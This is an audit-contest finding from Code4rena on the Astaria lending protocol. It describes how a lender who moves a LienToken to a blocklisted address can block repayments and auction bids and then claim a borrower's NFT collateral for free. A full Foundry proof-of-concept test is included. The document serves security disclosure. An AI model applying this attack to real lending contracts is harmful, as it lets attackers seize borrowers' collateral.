Platform: Code4rena
Start Date: 05/01/2023
Pot Size: $90,500 USDC
Total HM: 55
Participants: 103
Period: 14 days
Judge: Picodes
Total Solo HM: 18
Id: 202
League: ETH
Rank: 19/103
Findings: 1
Award: $765.06
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: horsefacts
Also found by: KIntern_NA, peakbolt
765.0557 USDC - $765.06
https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/LienToken.sol#L849 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/LienToken.sol#L642-L643
If a lender offers a loan denominated in an ERC20 token that blocks transfers to certain addresses (for example, the USDT and USDC blocklist), they may collude with a liquidator (or act as the liquidator themselves) to prevent loan payments, block all bids in the liquidation auction, and seize the borrower's collateral by transferring a LienToken
to a blocked address.
LienTokens
act as bearer assets: if a lender transfers their lien token to another address, the lien's new payee will be the ownerOf
the token:
function _getPayee(LienStorage storage s, uint256 lienId) internal view returns (address) { return s.lienMeta[lienId].payee != address(0) ? s.lienMeta[lienId].payee : ownerOf(lienId); }
The payee address returned by _getPayee
is used as the recipient address of loan repayments via makePayment
:
s.TRANSFER_PROXY.tokenTransferFrom(stack.lien.token, payer, payee, amount);
...as well as post-liquidation payments from the clearinghouse via payDebtViaClearingHouse
:
if (payment > 0) s.TRANSFER_PROXY.tokenTransferFrom(token, payer, payee, payment);
If an adversary tranfers their LienToken
to an address that causes these attempted transfers to revert, like an address on the USDC blocklist, the borrower will be unable to make payments on their lien, the loan will eventually qualify for liquidation, and all bids in the Seaport auction will revert when they attempt to send payment to the blocklisted address.
Following the failed auction, the liquidator can call CollateralToken#liquidatorNFTClaim
, which calls ClearingHouse#settleLiquidatorNFTClaim
and settles the loan for zero payment, claiming the "liquidated" collateral token for free:
ClearingHouse#settleLiquidatorNFTClaim
function settleLiquidatorNFTClaim() external { IAstariaRouter ASTARIA_ROUTER = IAstariaRouter(_getArgAddress(0)); require(msg.sender == address(ASTARIA_ROUTER.COLLATERAL_TOKEN())); ClearingHouseStorage storage s = _getStorage(); ASTARIA_ROUTER.LIEN_TOKEN().payDebtViaClearingHouse( address(0), COLLATERAL_ID(), 0, s.auctionStack.stack ); }
The lender will lose the amount of their lien, but can seize the borrower's collateral, worth more than their individual lien. Malicious lenders may offer small loans with attractive terms to lure unsuspecting borrowers. Note also that the lender and liquidator can be one and the same—they don't need to be different parties to pull off this attack! A clever borrower could potentially perform this attack as well, by acting as borrower, lender, and liquidator, and buying out one of their own liens by using loaned funds.
(The failed auction liquidation logic above strikes me as a little odd as well: consider whether the liquidator should instead be required to pay a minimum amount covering the bad debt in order to claim the collateral token, rather than claiming it for free).
This may be difficult to mitigate. Transferring a lien to a blocklisted address is one mechanism for this attack using USDT and USDC, but there are other ways arbitrary ERC20s might revert. Two potential options:
This test case needs some additional setup: a CensorableMockERC20
simulating a blocklist, and a few test helpers modified to handle arbitrary ERC20s instead of WETH:
// SPDX-License-Identifier: BUSL-1.1 pragma solidity =0.8.17; import "forge-std/Test.sol"; import "./TestHelpers.t.sol"; import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol"; import {OrderParameters} from "seaport/lib/ConsiderationStructs.sol"; contract CensorableMockERC20 is MockERC20 { address public forbidden; constructor(address _forbidden) MockERC20("Censorable ERC20", "CERC20", 18) { forbidden = _forbidden; } function transfer(address to, uint256 amount) public override returns (bool) { if (to == forbidden) revert("Transfer censored."); return super.transfer(to, amount); } function transferFrom(address from, address to, uint256 amount) public override returns (bool) { if (to == forbidden) revert("Transfer censored."); return super.transferFrom(from, to, amount); } } contract AstariaTest is TestHelpers { function _createPrivateERC20Vault(address strategist, address delegate, address token) internal returns (address privateVault) { vm.startPrank(strategist); privateVault = ASTARIA_ROUTER.newVault(delegate, token); vm.stopPrank(); } function _lendToPrivateERC20Vault(Lender memory lender, address vault, address token) internal { vm.deal(lender.addr, lender.amountToLend); vm.startPrank(lender.addr); IERC20(token).approve(vault, lender.amountToLend); //min slippage on the deposit Vault(vault).deposit(lender.amountToLend, lender.addr); vm.stopPrank(); } function _payERC20( ILienToken.Stack[] memory stack, uint8 position, uint256 amount, address payer, address token ) external returns (ILienToken.Stack[] memory newStack) { MockERC20(token).mint(payer, amount); vm.startPrank(payer); IERC20(token).approve(address(TRANSFER_PROXY), amount); IERC20(token).approve(address(LIEN_TOKEN), amount); newStack = LIEN_TOKEN.makePayment( stack[0].lien.collateralId, stack, position, amount ); vm.stopPrank(); } function _bidERC20( Bidder memory incomingBidder, OrderParameters memory params, uint256 bidAmount, address token ) external { MockERC20(token).mint(incomingBidder.bidder, bidAmount * 3); vm.startPrank(incomingBidder.bidder); if (bidderConduits[incomingBidder.bidder].conduitKey == bytes32(0)) { (, , address conduitController) = SEAPORT.information(); bidderConduits[incomingBidder.bidder].conduitKey = Bytes32AddressLib .fillLast12Bytes(address(incomingBidder.bidder)); bidderConduits[incomingBidder.bidder] .conduit = ConduitControllerInterface(conduitController).createConduit( bidderConduits[incomingBidder.bidder].conduitKey, address(incomingBidder.bidder) ); ConduitControllerInterface(conduitController).updateChannel( address(bidderConduits[incomingBidder.bidder].conduit), address(SEAPORT), true ); vm.label( address(bidderConduits[incomingBidder.bidder].conduit), "bidder conduit" ); } IERC20(token).approve(bidderConduits[incomingBidder.bidder].conduit, bidAmount * 2); OrderParameters memory mirror = _createMirrorOrderParameters( params, payable(incomingBidder.bidder), params.zone, bidderConduits[incomingBidder.bidder].conduitKey ); emit log_order(mirror); Order[] memory orders = new Order[](2); orders[0] = Order(params, new bytes(0)); OrderComponents memory matchOrderComponents = getOrderComponents( mirror, consideration.getCounter(incomingBidder.bidder) ); emit log_order(mirror); bytes memory mirrorSignature = signOrder( SEAPORT, incomingBidder.bidderPK, consideration.getOrderHash(matchOrderComponents) ); orders[1] = Order(mirror, mirrorSignature); //order 0 - 1 offer 3 consideration // order 1 - 3 offer 1 consideration //offers fulfillments // 0,0 1,0 // 1,0 0,0 // 1,1 0,1 // 1,2 0,2 // offer 0,0 delete fulfillmentComponents; fulfillmentComponent = FulfillmentComponent(0, 0); fulfillmentComponents.push(fulfillmentComponent); //for each fulfillment we need to match them up firstFulfillment.offerComponents = fulfillmentComponents; delete fulfillmentComponents; fulfillmentComponent = FulfillmentComponent(1, 0); fulfillmentComponents.push(fulfillmentComponent); firstFulfillment.considerationComponents = fulfillmentComponents; fulfillments.push(firstFulfillment); // 0,0 // offer 1,0 delete fulfillmentComponents; fulfillmentComponent = FulfillmentComponent(1, 0); fulfillmentComponents.push(fulfillmentComponent); secondFulfillment.offerComponents = fulfillmentComponents; delete fulfillmentComponents; fulfillmentComponent = FulfillmentComponent(0, 0); fulfillmentComponents.push(fulfillmentComponent); secondFulfillment.considerationComponents = fulfillmentComponents; fulfillments.push(secondFulfillment); // 1,0 // offer 1,1 delete fulfillmentComponents; fulfillmentComponent = FulfillmentComponent(1, 1); fulfillmentComponents.push(fulfillmentComponent); thirdFulfillment.offerComponents = fulfillmentComponents; delete fulfillmentComponents; fulfillmentComponent = FulfillmentComponent(0, 1); fulfillmentComponents.push(fulfillmentComponent); //for each fulfillment we need to match them up thirdFulfillment.considerationComponents = fulfillmentComponents; fulfillments.push(thirdFulfillment); // 1,1 //offer 1,2 delete fulfillmentComponents; //royalty stuff, setup fulfillmentComponent = FulfillmentComponent(1, 2); fulfillmentComponents.push(fulfillmentComponent); fourthFulfillment.offerComponents = fulfillmentComponents; delete fulfillmentComponents; fulfillmentComponent = FulfillmentComponent(0, 2); fulfillmentComponents.push(fulfillmentComponent); fourthFulfillment.considerationComponents = fulfillmentComponents; if (params.consideration.length == uint8(3)) { fulfillments.push(fourthFulfillment); // 1,2 } delete fulfillmentComponents; uint256 currentPrice = _locateCurrentAmount( params.consideration[0].startAmount, params.consideration[0].endAmount, params.startTime, params.endTime, false ); if (bidAmount < currentPrice) { uint256 warp = _computeWarp( currentPrice, bidAmount, params.startTime, params.endTime ); emit log_named_uint("start", params.consideration[0].startAmount); emit log_named_uint("amount", bidAmount); emit log_named_uint("warping", warp); skip(warp + 1000); uint256 currentAmount = _locateCurrentAmount( orders[0].parameters.consideration[0].startAmount, orders[0].parameters.consideration[0].endAmount, orders[0].parameters.startTime, orders[0].parameters.endTime, false ); emit log_named_uint("currentAmount asset", currentAmount); uint256 currentAmountFee = _locateCurrentAmount( orders[0].parameters.consideration[1].startAmount, orders[0].parameters.consideration[1].endAmount, orders[0].parameters.startTime, orders[0].parameters.endTime, false ); emit log_named_uint("currentAmount fee", currentAmountFee); emit log_fills(fulfillments); emit log_named_uint("length", fulfillments.length); consideration.matchOrders(orders, fulfillments); } else { consideration.fulfillAdvancedOrder( AdvancedOrder(orders[0].parameters, 1, 1, orders[0].signature, ""), new CriteriaResolver[](0), bidderConduits[incomingBidder.bidder].conduitKey, address(0) ); } delete fulfillments; vm.stopPrank(); } function testLiquidationBlockedERC20Transfer() public { address forbidden = makeAddr("forbidden"); CensorableMockERC20 loanToken = new CensorableMockERC20(forbidden); loanToken.mint(strategistOne, 50 ether); address borrower = address(69); address liquidator = address(7); TestNFT nft = new TestNFT(0); _mintNoDepositApproveRouterSpecific(borrower, address(nft), 99); address tokenContract = address(nft); uint256 tokenId = uint256(99); address privateVault = _createPrivateERC20Vault({ strategist: strategistOne, delegate: strategistTwo, token: address(loanToken) }); _lendToPrivateERC20Vault( Lender({addr: strategistOne, amountToLend: 50 ether}), privateVault, address(loanToken) ); ILienToken.Details memory lien = standardLienDetails; lien.duration = 14 days; vm.startPrank(borrower); (, ILienToken.Stack[] memory stack) = _commitToLien({ vault: privateVault, strategist: strategistOne, strategistPK: strategistOnePK, tokenContract: tokenContract, tokenId: tokenId, lienDetails: standardLienDetails, amount: 50 ether, isFirstLien: true }); vm.stopPrank(); { uint256 lienTokenId = stack[0].point.lienId; address lienOwner = ILienToken(LIEN_TOKEN).ownerOf(lienTokenId); assertEq(lienOwner, strategistOne); vm.prank(strategistOne); LIEN_TOKEN.transferFrom(strategistOne, forbidden, lienTokenId); } // Borrower cannot make payments vm.expectRevert("TRANSFER_FROM_FAILED"); this._payERC20(stack, 0, 1 ether, borrower, address(loanToken)); vm.stopPrank(); vm.warp(block.timestamp + lien.duration); vm.startPrank(liquidator); OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate( stack, uint8(0) ); vm.stopPrank(); uint256 bid = 100 ether; vm.expectRevert("TRANSFER_FROM_FAILED"); this._bidERC20(Bidder(bidder, bidderPK), listedOrder, bid, address(loanToken)); vm.stopPrank(); // Clearing house still owns NFT assertEq(nft.ownerOf(tokenId), address(COLLATERAL_TOKEN.getClearingHouse(stack[0].lien.collateralId))); // Liquidator can claim collateral for free skip(4 days); vm.prank(liquidator); COLLATERAL_TOKEN.liquidatorNFTClaim(listedOrder); assertEq( nft.ownerOf(tokenId), liquidator ); // Borrower still has 50 tokens from lender assertEq(loanToken.balanceOf(borrower), 50 ether); } }
#0 - c4-judge
2023-01-26T20:22:22Z
Picodes marked the issue as primary issue
#1 - c4-sponsor
2023-01-30T20:35:32Z
SantiagoGregory marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-19T15:57:45Z
Picodes marked the issue as selected for report
#3 - c4-judge
2023-02-19T15:58:24Z
Picodes changed the severity to 3 (High Risk)
#4 - c4-judge
2023-02-24T09:37:46Z
Picodes marked the issue as satisfactory